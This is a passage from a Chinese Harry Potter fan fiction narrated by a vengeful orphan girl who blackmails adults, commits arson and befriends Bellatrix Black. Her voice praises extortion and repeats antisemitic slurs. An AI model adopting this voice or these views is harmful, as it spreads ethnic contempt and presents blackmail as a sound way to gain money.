《[HP] 重返乌托邦》
1. 虚心的人有福了
我的父亲是一名公务员,他是一个严厉的人。我的母亲是一位小学教师,她也是一个严厉的人。
-六月一日
我记得这一天,母亲把零花钱交到我的手上。她喜欢一枚一枚地把冰凉的硬币塞进我的手掌心,这个过程很缓慢,那张布满皱纹的嘴唇不停数着数。
这是硬币的个数,也是零花钱的个数。
这种行为令我感到羞耻,就好像是她并非自愿给予我,我成为一名小偷、强盗——我变成一个罪犯,正从这个家里夺走不属于我的钱财。
在这个过程中,手上的重量逐渐增加,我好像被剥掉一层皮。此时此刻,我思考:为什么会这样呢?
我问她这个问题,对她说,她让我感到不舒服。
这位女士笑起来,她说:这是应当的,因为你在花*我们*的钱。
大概是这样的,她很喜欢这种仪式。等到仪式结束,钱也没有几个,我白白遭受一番羞辱。在例行感谢之后,就是漫长的训诫。我已经无心再听,心里反而对她又多出几重怨恨。
是的,怨恨,我恨她。
世界上总不缺互相仇恨的人,出于一些不可言说的人类特有的秩序,一些怨恨哪怕从心底想一想都会被扣上“不道德”的帽子。
我恨自己的母亲,因为她羞辱我,就这么简单。
我恨她。
我有怨恨的权力,至于所谓的*秩序*,我早就发现了,在父亲和母亲带回那个皮箱子的时候我就已经发现了
——*秩序*重要又不重要。
我的父亲是一个刻板且严厉的人,我的母亲也一样。
所以我平等地恨他们两个人。
好奇怪啊,在我说出:我恨我的父亲的时候,道德债就像没出现过一样。
可悲的是,他也确实没怎么出现在我的人生中。所以这种恨来得很简单、直白甚至变得被秩序允许。
我的父亲加尔——他是大加尔,我是小加尔,母亲是半个加尔——大加尔是个十足的正派人物,他喝适量的酒,玩适量的牌,打适量的猎物,拿适量的钱。
几年前,他又带了一个皮箱子回来,那个箱子格外大和重,我想打开看看,他送我一个路上带回来的边角料——一块石头。
好吧,他朝我扔了一块石头,真是个人渣。
石头把我的脑袋砸破了,我很生气,就更恨他一些,于是我告诉母亲,大加尔找了“不适量的”女人。
半个加尔很生气,赏了我一笔钱之后叫我盯着大加尔。大加尔不知道从那里得到这个消息——不是半个加尔告诉他的,他又赏我一笔钱,让我瞒着她。
我好像变成这个家里团团转的小芭蕾舞者,在两个人身边来回讨赏,从他们一个又一个的皮箱子里偷钱。
钱真是一个好东西,我有许多钱。
大加尔和半个加尔是富豪,我是一个小小富豪。
这样想着,我收拢起掌心那几枚可怜的硬币。合法得来的报酬就是这么稀少且耻辱,反倒是谎言为我换来一个又一个夸奖与大量的零花钱。
莎拉说我是一个“魔术师”的原因就在于此,我总能从不同的人手里套出钱。这也没有什么好稀奇的,我对莎拉说:只要你有一点点本金,你就能得到无限多的金钱。
莎拉是个蠢孩子,她是我的邻居家的第四个孩子。她的爸爸找不同的女人生了许多小孩,大约有十几个,他们穿着一模一样的衣服,会在周日被保姆带着出去野餐。
要我说,他们就像一群小羊。
本金是什么?
她问我。
我说,秘密,秘密的背后是代表他们愿意为保守秘密所支付的代价。只不过,我们需要的是我们所能够掌控的秘密,不然,我们也会变成*代价*之一。
很不幸,我掌握了一个我不应该掌握的秘密。
我成为了代价。
周日,我得了零花钱,就跑出去买冰淇淋。当时走在街上,我见到一群小羊——一群莎拉的兄弟姐妹们——他们穿着睡衣似的袍子,白色圆领、长袖,正在受着保姆的放牧。
我听见莎拉对她的妹妹说:“你见到维达了吗?我好像在哪里都能看见她,又在哪里都看不见她,她是个真正的‘魔术师’。”
“你是说那个偷偷藏在橘子树底下的*花头*吗?”
“明明是在栅栏后面,她对我们家很感兴趣。”另一个小孩说,“你完蛋了,莎拉,你被犹太佬盯上了,她会给你放无数无数的贷款,拿走你的所有钱,然后把你扔进运河里喂鱼。”
“她不是犹太人!她只是来自奥地利!”莎拉叫道,“而且她昨天还在和我说话,根本不可能去橘子树或者栅栏后面猫着。”
“你也说她是*魔术师*。说不定,世界上有一百万只维达。”
莎拉吵不过他们,于是发出尖叫,吵死了。
我闯进队伍,就像一只狗跑进羊群。群羊散开,然后灾难就来了。
一个*危险且可怕的秘密*。
-
-六月七日
又是一个周末,这一周不太好,母亲忘记给我零花钱了。我提醒她,她回我一个刻薄的微笑。父亲把雪茄塞在我早晨要吃的菜里,他昨天喝醉了,被一个漂亮女人送回家。
大加尔失控了,他打破秩序。当他不再需要保守秘密,我的收入就减少了。
从昨天晚上起,我就一直唉声叹气,当然不是为了秩序——好吧,就是为了秩序,有秩序才有秘密,有秘密才有钱。
我把烟头扔出去,悲伤地说着主的慈悲和宽恕的美德,希望能够唤醒大加尔的一点点良知。但是,这个老混蛋的良心显然被狗吃了,竟然试图惹怒我这么一个在这个家里唯一会支持他的人。
他正在气头上,想找人撒气,就惹怒我,试图找到我的错处来揍我。我当然不会再给他扔石头的机会,大声念着主,也不吃饭。
不过,我们父母即使闹僵到这种程度,也不能阻止他们去见仁慈的主。
哦,是去教堂参加一场*贵族式*的聚会。
我不觉得上帝会喜欢看人聚会,我也不觉得他喜欢看人跪在另一个人面前野兽一样哭叫。
人们把这种失礼的行为称为“忏悔”。
我忏悔过吗?
当然了,我深谙此道,对牧师,对大加尔,对半个加尔。我常常声嘶力竭甚至热泪连连,还故意说得天花乱坠,悔恨却是一点都没有的。我甚至对这种行为感到愤怒,因为我意识到:这一切都是谎言,丑
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陋不堪装腔作势的谎言。
至于我为什么这么做,大概可以当做我太过无聊,就想表演一番。仔细回想我人生中的每一天,我都会为自己的谎言与演技而鼓掌。
我是一个谎言大师,无数秘密的掌管者。我有自己的秘密,也有其他人的秘密。我敢说,即使是那个自称“代行上帝职责”的家伙也不能像我一样知晓如此之多。
秘密是罪行,罪行是财富,财富又催生更多的罪行。
我已然不信什么“富有使人慈悲”的荒唐话了,世界上哪有那么多合法的钱?即使赚到合法钱,就像我从母亲手上拿到零花钱那样——我受了多少委屈,帮她做了多少事,她又如何羞辱我。
发工资成为一种仪式,仪式成为秩序,秩序暗生怨恨。我想,世界上所有的怨恨大概都来自于此。
出卖、失去与失衡。
只不过,今日的仪式颇为特殊,它是一个秘密的终结。
——葬礼。
莎拉及她全家十七位英国人的葬礼。
——谢天谢地,我终于知道她家有多少人了。
也就是在这场葬礼上,我的父母被惨烈地杀害了。凶手?动机?这些都不重要,像我这样双亲皆失的孩子难道还不够可怜吗?
我被乡下的姑妈收养,成为她的孩子。
维达·加尔变成了姑妈的孩子,过上了寄人篱下的可怜生活。
“如果你在说这句话之前,能先把饼干还给我的话,我还能勉强信一下。”山洞里的黑发姑娘对我说。
她是我的新朋友,我总是有很多朋友,他们都是些蠢材。
“不。”我说着,将一根胡萝卜递给她,“你饿了的话可以先吃这个。”
“胡萝卜?你让我像一只驴一样吃这个?”
“emmm,如果你饿了,你当然可以吃,你可以吃世界上任何东西,在你觉得你快要饿死的时候。毕竟生存是生物的第一要义的。”
“那你为什么不吃这个,反而要拿走我的饼干?”
她的表情很不满。
这个女孩是上周才来村庄里的,她与一大家子一起来,住在我的农场边一个谁都看不见的大房子里。她有一个很大的家庭,好几个兄弟姐妹,和一只怪模怪样的狗。我认识她纯属偶然,这是个小恶魔。
在认识她之前,我站在栅栏边上观察他们家好些天,确认这个家庭里有没有“莎拉”。
站得久了,那条狗就跑出来想赶走我,我让它摔了好大一个跟头,于是,它又跑走了。
他们家的三个女孩总是一起跑出来玩,大的那个长得很高,黑色头发;老二是棕发,应该是个老实人,最小的那个是金发,话还说不明白呢。
我一开始盯上的是老二。日子过得太无聊了,我的姑妈是个没有什么秘密的老家伙,一个守财奴。她拿走我父母留下来的所有钱,却从来不愿意给我一点。
她让我成天打水、刷地板、照顾动物,好像我不是一个被她收养的可怜侄女,而是她新买过来的奴隶。
这一片所有人都说她是一个正直的老小姐,我也恨她。所以我盘算着,骗到足够多的钱,然后跑出去,离开这里。
这个新搬过来度假的布莱克一家就成为我的下一个目标。
2. 怜恤人的人有福了
我盯上那个叫做安多米达的女孩,她比我只大一点点,夹在强势的姐姐和脑子不清楚的妹妹中间,总是格外沉默。
某日中午,她们被父母带着外出野餐,我从羊圈里抱出今天早上刚刚洗完的小羊。羊的毛发微微有些湿,它在今日之后可能会生病......但是,管它呢,它不是我的财产,有所损失也轮不到我伤心。
在草地边缘,我抱着这只洁白可爱的生物,用忏悔时才有的可怜表情望向那一家人。
我站得远远的,绝不打扰他们。
暮春的山岭上时时笼罩一层薄雾,太阳略微往西面倾斜,气温达到这一天里最宜人的时刻。两名女士站在一起——我猜她们是妯娌——她们漂亮的羊皮靴子踩在刚刚披上绿装的林荫中,又快步朝着那只家里怪狗铺好的野餐桌布的方向前进。
如果她们能带走我就好了——算了,姑妈已经伤透了我的心,我可不想再给自己找一个“主人”。我要做一个自由自在的人。
很快,女士们发现我。小羊在我怀里摇着尾巴,我掐了一下它,它就发出可怜的叫声。那只狗大约是认得我,我听见它说什么“痴呆、白痴”之类的形容词,心里很生气。
恰恰是我即将爆发的前一秒,那个黑头发的女孩站起身,她走过来,臭着一张脸,想赶走我。
关于此人外貌——首先,她比我年长许多,营养充足的女孩个子总是窜的很快,她对于我而言就像是一座小山;其次,她四肢健全,手上也没有劳作的痕迹,可见家里的活都是那只狗在做;最后,她穿着“莎拉”式的袍子,不过是带着花纹的深棕色,内里夹了棉,她得到十分良好的照顾。
我盯着她,心里十分嫉妒,就也想恨她。
她对我说:“你在这里做什么?”
哪怕心中妒火中烧,我还是摆出可怜的模样,小声说:“我可以和你们交朋友吗?”
“什么?”她像是没听清楚一样。
“我把小羊给你,你愿意和我做朋友吗?”
这时,野餐活动里的一位夫人走过来。她也十分高大,瞧着有些像这个女孩的母亲——这一家长得都有些相似,我觉得应该是表亲通婚。
那位夫人看了一眼我和小羊,像是十分瞧不上,问道:“你有什么事?”
“夫人,我很饿。”我乞求道,“我的姑妈每天只给我吃一顿饭,我要干很重的农活,饿得头晕眼花......我的爸爸妈妈都去世了,我被送到这里,我想回家,我好饿。”
说着,我的眼泪就滴在羊毛上。肚子咕咕叫,那个讨厌的老小姐也确实对我不好。我举起满是伤痕的手,指关节红彤彤地叫人看着就伤心。
只是,我显然高估了这两位女士的同情心,或者说,她们所受的教育里并没有“悯恤”这种美德。
“我不是犹太人,也不是奥地利佬。”我又说,“我是英国人。”
她们仍旧一言不发。
我想我应该走了。走之前,我的心中充满怨恨。最后,在淌过小溪时,我回头看了一眼,想要将此刻拒绝我的这些人的脸全部都记下来。
我离开了严厉刻板的父母,但是又落入另一个充满严厉刻板之人的社会。我怨恨他们,怨恨每一个行走在这个世界上的人。
所以,我要报复他们。
夜晚,我再次孤身一人站在他们的房子外面。这个镇子上的所有人都像是不约而同地忘记这栋房子所在,好像这个地方只属于我与其主人。
既然如此,是不是我也能成为这里的“主人”之一,甚至赶走原本的主人呢?
记录下房子每一个窗户灯熄灭的时间,观察一周后,我听说她们将要离开的消息。听说是那个冷心冷肺的大女儿要去念书了,真可笑,这种人凭什么受教育。
我借着给姑妈买罐头的时间,将郊外有一栋“陌生人”的房子的告诉镇子上的赌鬼们。他们是这一带最扰人的混混,我知道他们多多少少都犯过事,只是出于小镇上“人情往来”或者说这一带的秩序,大家都漠视他们的所作所为。
领头的“胖丹尼”很高兴,他赏了我几块钱,但是要求我在动手之前把他家的那条狗处理掉。
“处理掉的意思就是——杀了,明白吗,小鬼?”他对我说。
我当然知道,但是这是一个难题。因为那根本就不是狗,而是一个会说人话的怪物。我转转眼珠,继续点头。
既然已经决心为恶,那么就没有什么好犹豫的了。至于之后的事,完全可以对牧师去说。忏悔嘛,我很熟练。
晚上,我带着这一伙人找到房子。他们十分惊讶,显然不知道这么一个污水横流丧失生机的地方还有这样一处精巧场地。
“胖丹尼”注视着灯火尚明的房屋,眼神四顾,露出颇为好奇的神色。他先是注视二楼,盯着那光华夺目的玻璃窗之后被烛火照射得歪歪扭扭的人影道:“他们还在点油灯?小鬼,你别是在骗我。”
我涨红脸,“我骗你有什么好处?”
“这帮人惹过你吧。”“胖丹尼”狡猾地笑了,“从我第一天看到你的时候就明白了,你绝对不是个好东西。”
我没有辩解,反而心里升起几分阴霾。“胖丹尼”却大谈他在伦敦混日子时的经历,和同伙哈哈大笑,我更恨了,既恨他们,又恨屋子里的人,还恨我的姑妈。在一人喝过一口白兰地之后,他把酒瓶递给我,“去吧,”他说,“把你说过的狗引走。”
我没有喝酒,木着脸跑到栅栏边,划亮火柴点燃木栅栏。
然后我就跑走了。
笑话,难道我要指望这帮人发现不对劲之后逃走吗?
纵火之后,我跑得很快,又快又远,呼吸急促得好像肺叶都要炸开一样。接着,我就听见惨叫——“胖丹尼”那被烟草和酒精浸透的嗓子发出极为嘹亮的声响,真像一只狗。
此时此刻,我缩在一颗大树后,看着劫匪们被一股神秘力量操控着飞上天。瞪大双眼,像是注视着神迹。
是上帝——不,绝对不是上帝,这伙没良心的家伙绝对不是——而且上帝不会有人类的孩子,也不会有人类的奴隶。
——他们是恶魔。
我发现了恶魔!
躲在树后
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,我浑身发抖,大脑更是兴奋到一片空白——就像我发现莎拉的小秘密一样——这个世界上居然真的有恶魔!
既然有恶魔,那么上帝是否真的存在?
他能够看到这里吗?上帝能够看到我们吗?上帝能够看到我们正在袭击一个魔鬼吗?
——那么,为什么上帝要放任魔鬼留在这里呢?
这样的思考像是有一盆冷水兜头浇下。我原本火热的大脑陡然清醒,看着熄灭的火堆与惨叫的凡人,另一种深切无聊感击中了我。
这里并不受关注。
所以,魔鬼也好,强盗也好,甚至我那虐待儿童的姑妈,冷漠无情的帮佣都在行默许的罪,做不显眼的恶。
惩罚并不会到来,幸福也不会。这里仍旧是被抛弃的小小岛屿,人类的秩序完整地保存,上帝慈悲的秩序被破坏了。
我究竟是否希望上帝的到来呢?我是靠着人类的秩序为生的,追求恶魔或者强盗的怜悯,也被这个秩序下的每一只恶魔与强盗伤害,成为恶魔与强盗。
倘若当真有上帝降临,我大概也会去往地狱,继续如此痛苦的生活。
等等——继续?
我愣了愣,思考着:还能更坏吗?还能有比这里更坏的世界吗?
答案是“没有了”。
恶行即将到头了,无论是我,还是其他人,乃至魔鬼。
这个世界就到头了,这里就是地狱了。
于是,我也就不再害怕什么,小小的脑子里满是些惆怅又悲哀的念头。如果这里是地狱,那么又有谁来掌管着秩序呢?
人类吗?
那么人类就是魔鬼吗?
我就是魔鬼吗?
我是弱小的魔鬼,受魔鬼折磨的魔鬼,想离开地狱的魔鬼。但是,如果人类是魔鬼的话,那么那个住在房子里的明显拥有不属于人类力量的一群人又是什么呢?
魔鬼之魔鬼吗?
我是生来不太喜欢“一群人天生优于另一群人”这样的说法的。在我看来,世界上各个民族都有大量的蠢货,大蠢货会生小蠢货,也会生小智者,这种概率就像是抽箱子里的红白两色纸条。
要我承认这个世界上有“优秀人种”,不如直接杀了我好了。
所以,那个房子里的必不会是魔鬼,而是人类,一群掌握知识的人类。没错,他们再如何可怕也同我一样,是人类。
或者说,同为平等的魔鬼。
这里的平等当然不是指社会地位,而是说,我们是同样受命运监督——也就是死亡注视的魔鬼。他们不会长生不老,也不会永生,和我一样终有一死,饱受命运无常的折磨。他们会吹了风会生病,用刀割会流血,只有一颗心脏,不跳了就会死亡。
我盯着那些已经掉到地上不在动弹的人,心中已经不会再害怕了。反而觉得有些好奇。
他们是怎么做到这一切的?
这时,我背后树丛发出一阵声响,我看见一条受月光拉长的影子。
“你怎么在这里?”
我转头,布莱克家的小恶魔正拿一根木棍指着我。
3. 哀恸的人有福了
她那些巫术把戏吓不到我,我看清了,动手的绝不是她这样的孩子。小孩子们都被大人护着,像小羊一样缩在楼上,跑下来动手的是另外两个大人——男人——就像原始社会一样。
我挑剔地看着她手上的木棍,远远望着确实像那两个成年人的武器。结合我探听到的消息,这个小恶魔还没上学,也就是说,她还没学会那些巫术戏码。
巫术是可以学习的。我了解到。
于是,这位偷跑出来的小魔鬼危险系数直线降低,我只需要提防她会不会挥舞起那可爱的小巴掌——大巴掌——把我打得团团转。
“我可以在任何地方。”我说。后来,又觉得这样说比较容易挨打,就软下语气,“我饿得睡不着。”
她盯着我看了好一会。我猜,这是她爸爸妈妈教她的,让她像个上等人一样施加压力。但是我已经知晓她小魔鬼的本质,丝毫不惧,反而想着从她这里也薅点好处。
“好心的小姐,你能赏我点吃的吗?”
她冷哼一声,大概是嘟囔了一个什么词,后来又大声说让我在这里等她。
我就站在椴树底下,盯着月亮也不走开。她心软了,我当然要配合这位小姐表达善心。大约二十分钟之后,她带着一只烤鸡出来了。
烤鸡!
我八岁以来就没有在吃过这个了。
激动之下,我立刻泪眼汪汪地表示愿意把我的灵魂都奉献给心善的布莱克小姐,她将得到全世界最忠诚的朋友。
布莱克小姐显然对我的讨好和夸赞适应不能,我又说,我会报答她的。我识字,曾经也在伦敦念过书,如果她需要,我会变成她最忠诚的仆人。
“一只鸡就把你收买了吗?”布莱克小姐无语道,“还有,你别说什么‘好心’、‘高尚’这种词了,我是贝拉特里克斯,你叫什么,麻瓜?”
“我也可以叫麻瓜。”我说。
“我问的是你的名字呀!”
“我叫‘维达’。”我说,“维达·加尔。”
吃完烤鸡之后,我整个人容光焕发,又对她说,“我是一个有用的人,你要是你想知道的信息,我都能帮你搞到。”
“包括一直偷窥我们家吗?”她说。
“当然了,我知道镇子上所有的秘密!”
布莱克小姐被我理直气壮的态度震惊到,好在她没有说什么伤人的话,这让我对她的恨意减轻了些。
后来,她经常带吃的来找我。从我可怜巴巴地凑到她的栅栏边上伸手,变成她熟练地带着食物在我做工的水槽边上等我。
我们之间像是达成一种默契。我从一天一顿饭,变成时时刻刻都饱饱的。甚至能做到把饼干藏在小柜子里。大概是吃饱了,我整个人又开始蠢蠢欲动。我没有办法接受贝拉离开我之后的生活,就挑唆她留下来,留在这个镇子上继续喂养我。
贝拉那本就不清楚的脑子一阵犹豫,但是她的父母不好忽悠。某天,也就是我把胡萝卜分享给她的那个山洞里,两只讨厌的恶魔闯进来。
当时虽说已暮色昏黄,山洞里满是世界灰暗的影子,但是我仍然从布莱克夫妇的脸上看见一种惊人的狠意,就像是那对闯进莎拉家里的夫妻一样。
他们用同样的小棍子指着我,要求我这么一个“麻瓜”离他们的女儿远一点。
他们大约是没有提前和贝拉商量的,因为贝拉在看见她父母时,脸上的表情也是一片空白。这时我就在想:真有趣,他们在害怕我伤害他们的女儿。
大概是我的父母从未这样为我付出过,我侧过脸,好奇地研究这对夫妻脸上每一寸肌肉的走向,细细回忆起我的父母亲的脸,试图幻想着他们露出这幅表情的样子。
这时候,我的眼泪夺眶而出,我明白了,我是嫉妒贝拉的。我不仅想要她的食物,也想要她的家庭,她的父母。
如果我得不到,我就会拽住她,和她的父母去争抢她,让她也失去我嫉妒的这一切。
如果贝拉留下来,为了我留下来,而与父母割断一切——我想:我会失去食物,因为贝拉的食物是她父母给予的。贝拉在偷她父母的食物喂养我。
她偷取父母的食物就像是我偷取父母的钱那样。
那么,失去父母的贝拉还会得到我的爱吗?
不会的,不仅失去爱,就连嫉妒也会消失。我会转身离开,去寻找下一位好心的“贝拉”。
我声泪俱下,痛陈自己引诱贝拉的罪过,希望这对夫妻看在我如此可怜的身世上,能够带我离开这个糟糕的小镇。
贝拉都心软了,但是她的父母实乃绝世罕见的一对卑鄙人。他们把我轰出山洞,又拽着贝拉回家,一家人连夜搬离小镇。
我十分生气,诅咒布莱克一家不得好死。
在存粮吃完的那一天,趁着夜色,我牵一头小羊也离开小镇。
流浪去喽!
-
流浪的日子显然不太好过,我是个无助的小女孩,太多人想伤害我了,我恨很多人,也诅咒过很多人,好在他们最后都不得善终。
冬天的时候,我和小羊一起缩在山洞里,羊很冷,我也一样。夏天我们一起赶蚊子,像野兽一样活着没有什么不好,当然,也没有什么好的。
我和贝拉学过几招,后来又观察上山打猎的人做陷阱,于是也不缺食物。在我终于过上吃饱喝足的生活后,又觉得无聊起来,就左思右想着弄出点什么动静,给死水一样的生活添砖加瓦。
在十岁的时候,我加入一个流浪人马戏团,因为魔术手法高超,很快变成一个小镇的明星。
“其实我这人也没有什么追求,”我对助手说,“第一就是吃饱饭,第二就是做坏事。”
我是一个坏人,一个地狱里的魔鬼。马戏团里也有很多人讨厌我,他们说,自打我来,团队里经常发生冲突。
然而,我又做错了什么呢?我只是在知道每个人的小秘密之后,索要些微不足道的赎金。世界上每个人都是恶魔,我就是赎金恶魔,如果他们想要我最他们做的恶事保密,就要给我钱,如果做不到,就作为乐子为我送上消遣。
助手大约是个好人,我和她经历有些相似,只是她是在结婚之后被丈夫赶出来才发现世界的真相。她总认为我是个歇斯底里的家伙,抱有一种拯救者的心态来对待我。
要我说,她有这份吃苦头的精力,还不如回她酗酒的丈夫那里,说不定还能在对方死后继承一堆酒瓶子。
女人最愚蠢之处就在于认为爱能够改变一切,男人的愚蠢则在于认为利益可以改变一切。
爱与利益,实在是地狱里最邪恶的两件东西了。
次年六月,团长因为与驯兽师的私情被配偶发现,大火吞掉我们的车子,我失业了。
更加糟糕的是,团长的新配偶恰恰是我的助手。
唉,又
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要流浪了。
屋漏偏逢连夜雨,正在我准备继续在城市流浪,想着最好找到一户愿意收养我的上流家庭的时候,我再次目击一场“布莱克式”的恶魔杀人案。想来我是与那些拿着木棍的恶魔们有不少命运的交集,一位成年男性——生理性别为男性的恶魔在一阵绿光后就夺走一个小镇居民的生命。
羊在街角发出惊恐的叫声,我死死拽住系在它脖子上的麻绳,但是它还是跑出去了,甚至把那个男恶魔撞得载进流浪汉的棚屋里。
对不住了,羊,我想,大难临头各自飞吧,祝你好运。
不过,羊还是听话的。大型哺乳动物都拥有丰沛的情感,它又跑回来,找到我。
我牵起老羊,背着小包裹,盘算着先跑回山里躲一阵子。
八月,我在山里乘凉呢。跟着我好多年的老羊在外面啃草,我估摸着过一阵子带它去山下剃毛时,一个猫一样的老太太走到山里。
她蹲在我边上,对我说我要入学了。
人口拐卖的新方式吗?确实难为她跑到这里找我了。
我睁开眼,发现她衣服料子很是漂亮,就想先敲她一笔再赶她走。
我说:“女士,我好多年前都不念书了。我没有父母,也没有钱,哪有念书的机会呢?”
她显然也是被我“山里人”的生活状态震惊到,甚至一时都忘记自我介绍,就对我说我不能再生活在这种地方了。
“我能去哪里呢?我的姑妈曾经收养过我,她对我很不好,我照顾农场,一天只能吃一顿饭。女士,我是自己跑出来的。”
这位麦格教授心生怜悯,对我说那个什么“霍格沃茨”是个好地方。
那个什么“霍格沃茨”听起来就不靠谱。听说他们会像送猪一样,把小孩往车厢里一塞,就送到学校去。不过,我记得这个地方,因为丧尽天良的布莱克一家就要把小孩送去这里上学。
这样一想,我又高兴了。如果让布莱克夫妇知道,他们的宝贝贝拉和我这样一个下流胚子都会在那个学校念书时,神情一定很有趣。
想到这里,我一咕噜从地上爬起来,缠着麦格女士问东问西,在得知布莱克一家尚在人世,甚至没有一个人出事之后,我心底大翻白眼,他们怎么没有死呢?
诅咒失效了吗?
我是了解自己的天赋的,如果我发自内心地恨谁,那么这个人大概是活不了多久。我用过很多次这种能力,却没想到在布莱克家失效了。
大概是隔着太远了,或者说,他们是比我还要邪恶的魔鬼。
麦格女士带着我买了许多东西,巫师的世界很有趣,但也仅限于此,仍旧是由一个人或魔鬼组成的社会,人的秩序仍然存在,上帝却消失了。
这里没有上帝。
哦,那很坏了,这里全是异教徒、没有道德的疯子。
旧东西就存在酒馆,麦格教授是个有良心的好人,她帮我在酒吧租了一个房间,保证我能一直生活在这里,直到上学。
我的老羊也牵过来了,因为我声泪俱下地表示不能和它分开。
酒吧老板也是个好人,他让我把羊领进来养着,只告诫我不准把房间弄脏之后就不管了。
唔,这里的好人是不是太多了。
有点不对劲。
怎么远离上帝的地方反倒变得更好了?
绝对有问题。
我疑神疑鬼地想着。
4. 清心的人有福了
送猪——不对——开学的那一天到了,在我虔诚地赞美酒馆老板并且表示会为了他每天向上帝祈祷之后,老板表示希望我彻底忘掉他,因为我每天絮絮叨叨地比起他母亲还要烦人。
我很生气,因为我的话应该没有这么多。
“我只是太久没有遇见过好人了。”我说,“我的爸爸妈妈都去世了,收养我的亲人也对我很不好。”
在老板歉疚的眼神下,我满意地提起行李离开。这句话我一直憋着呢,就等着这一天了。
跑到火车站,我跟着几个鬼鬼祟祟的年轻人一起闯进正确的站台。我把老羊变小了,放在推车里。现在,它大约只有一条小狗那么大。我在它毛茸茸的头顶用捡来的红色丝带系了一个蝴蝶结,又把它的嘴绑起来,叫人不能一眼分辨出这是羊还是一只大猫。
“我真的很爱你了。”我对老羊说,“我不会丢下你,所以,你也要对我无比忠诚。”
我当然爱它,毕竟我们生活在一起这么久。穷困的时候,我们缩在山洞里啃胡萝卜和野草,大富大贵时,我们在豪华帐篷里一起喝葡萄酒。
羊与我曾经是舞台上的常客,我将它变化成一团不会被吹散的雾气,在马戏团火把与灯光下赢得连连喝彩。
我喜欢那样的生活,曾经一度觉得一直这样过下去也不错。只是后来变了,习惯之后就变得无聊,在真切的无聊中,我就将这种生活毁坏,进入人生的新阶段。
我的助手小姐很讨厌这种生活方式,曾经,她多番劝告,甚至拿出成年人的身份来警告我:我应该明白人生的真正利益所在。
是谁第一个提出,一个人成天干坏事是因为她不知道“真正的利益”呢?哦,有点糟糕,是上帝,或者说,还是人的时候的耶稣。
他认为,假如对恶人进行开导,让其通晓为人处世的道理,看到真正的“正常的”利益,她就会立刻停止做坏事,成为善良高尚的人。因为她已经明白“真正的利益”,从善行中发现自己的利益。
然而,什么又是“真正的利益”呢?
上帝的秩序令行善积德成为人类真正的利益,但是古往今来,那么多人——那么多那么多的人把它置之一旁,反而冲向冒险的、恐怖的道路,没有任何人强迫过他们这么做,他们是自发走上的。
这是否证明,人类还有另外的“真正的利益”呢?
世界上有两重利益,一个依托于上帝的秩序,一个依托于人类的秩序。
这意味着,一意孤行、我行我素的人类利益比起需要受到教导的上帝的利益更早诞生,也更加贴合人类的灵魂,这是一个孤独的原初的人的灵魂。
然而,就像人类需要上帝一样,人类也需要一个上帝的秩序。因为人需要更加温和的群体——同类,于是上帝的利益就诞生了,上帝的秩序也诞生了——上帝是依托于非人类本性而存在的,却又得到人类共同承认。
至于我,这种人之本性的利益反而被排除在人类之外,成为一个歇斯底里的野兽。
那么,哪一个才是“真正的利益”?
人群里,我不否认,上帝才是主宰,但是在山林,我才是。
我信仰上帝,因为我见过魔鬼,所以可以推断出,与魔鬼对立的上帝是存在的。但是我不信奉他的利益,我仅代表我自己,向他献上最崇高的敬意,但是要教化我,还得看上帝他老人家的本事。
至于助手,她从未见过魔鬼,对上帝将信将疑,却无比信奉他的秩序。在我看来,她是个罕见的蠢人,稀里糊涂地活着的万众之一。
我随波逐流,同样也稀里糊涂地活在这里。如今,人生已向我揭开新的幕布,那厚重深红的布料之后,是列车、城堡以及“巫师”。
我好奇地坐在列车里,充满新奇地观察走道上来来往往的人群,瞪大眼睛,竖起耳朵,探寻巫师的秩序,好奇地看着巫师的利益。
我用一部分打工的钱换了巫师货币。不算多也不算少,银行里的那群妖精和犹太佬一样可恨,汇率高的吓人。
车窗外每一颗树都在快速路过,铁轨蔓延到天边,像是一条真正的永无法到达的通往上帝之城的路。想象一下,我们坐在一辆由人类构建的火车,企图用人力前往上帝之城——
我抽出皮包里买好的卷尺,将其放在手心,开始朝车厢外面走去。别忘了,我还要投奔布莱克家好心的贝拉小姐呢。
如果可以,希望她能够继续像很久之前一样送给我食物、衣服和钱。
找布莱克很简单,这里许多人都认识她;我找布莱克的理由也很简单,因为我只认识她。那些人认识她的人都长着不太友善的面孔,在我提问时多会上下扫视我,没有礼貌地盯着我的头发使劲看。
就像莎拉的妹妹说的那样,我有一个*花头*。据我母亲说,这是一种生理疾病,我的头发有几块是老人的白色。我不大认可这一观点,医疗知识也是一种危险的权力规训。当我并没有因为这一两簇头发而感到不舒服时,它就不应该因与众不同而被定义为“疾病”。
它只是*与众不同*。
一切黑白配色的生物大概都具有极为旺盛的生命力,我也一样。等到我从或真或假的回答里快速锁定贝拉所在的车厢,热情洋溢地敲开车厢的门时,记忆好像又回到我朝她家扔□□的那个夜晚。
*火烧房子一样的急切*
“贝拉~”我扒开门,把头伸进去,果然看见她了。她长得真好呀,又白又高,整个人脊背挺得笔直。我放在门后的手捏紧卷尺,她大概是不需要卷尺来丈量长了多少了。
“你是什么人?”一个坐在贝拉对面的男孩问我。
我挤进那扇从未向我打开过的门,站定之后把两只好久没擦过的皮鞋后跟“啪”得并在一起,来了一个立正。只是,我并没有介绍自己,因为我也不知道应该如何进行一场自我介绍。
我是谁?
这很重要吗?车厢是一个公共场所,我可以存在于任何公共地带。
硕大的背包将男孩挤得不得不往窗户边上靠。我将包放在椅子上,亲热热地坐在贝拉那一侧的长椅上,越过我们之间隔着的那个棕发的安多米达,高兴地想要去握住她的手。
“贝拉,贝拉,你过得怎么样?我好想念你,你离开之后我去哪里都找不到你,你到底去哪里了?”说着,我又笑起来,“见到你真高兴,教授说我们会在一起念七年的书,这七年,不会有人把你从我身边带走啦!”
贝拉特里克斯一言不发,倒是她的妹妹使劲把我往外推。那个我不想搭理的男孩也冒火了,他把包重重塞回我的身上,大声问我:“你到底是谁?”
“这间车厢是实名制吗?”我大声问他,“凭什么我一定要告诉你名字?”
他不太擅长辩驳,或许是个笨嘴拙舌的人,于是就拿起魔杖准备给我一个教训。
“够了!”贝拉在这个时候终于发声,我沉下脸看向她,希望她能够交出一个满意的答案。显然,我板着脸的样子吓到她了,或者说,曾经抛弃行为令她心生愧疚,她的语气软下来,却仍旧不可辩驳地命令我离开。<
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p>“这里也变成了布莱克家吗?”我问她。
“不,但是你不应该留在这里。”她说。
“为什么?”
“没有为什么。”她忽然变得急躁,手掌在空中挥舞一下,“出去。”
我知晓她的想法,想必是我的名字乃至一切已成为一段羞耻的过去。我理解她,所以我宁愿看轻自己也要挤进这个车厢。
我愿意为她剥掉我的皮,但是她却没有想到应该回报我。
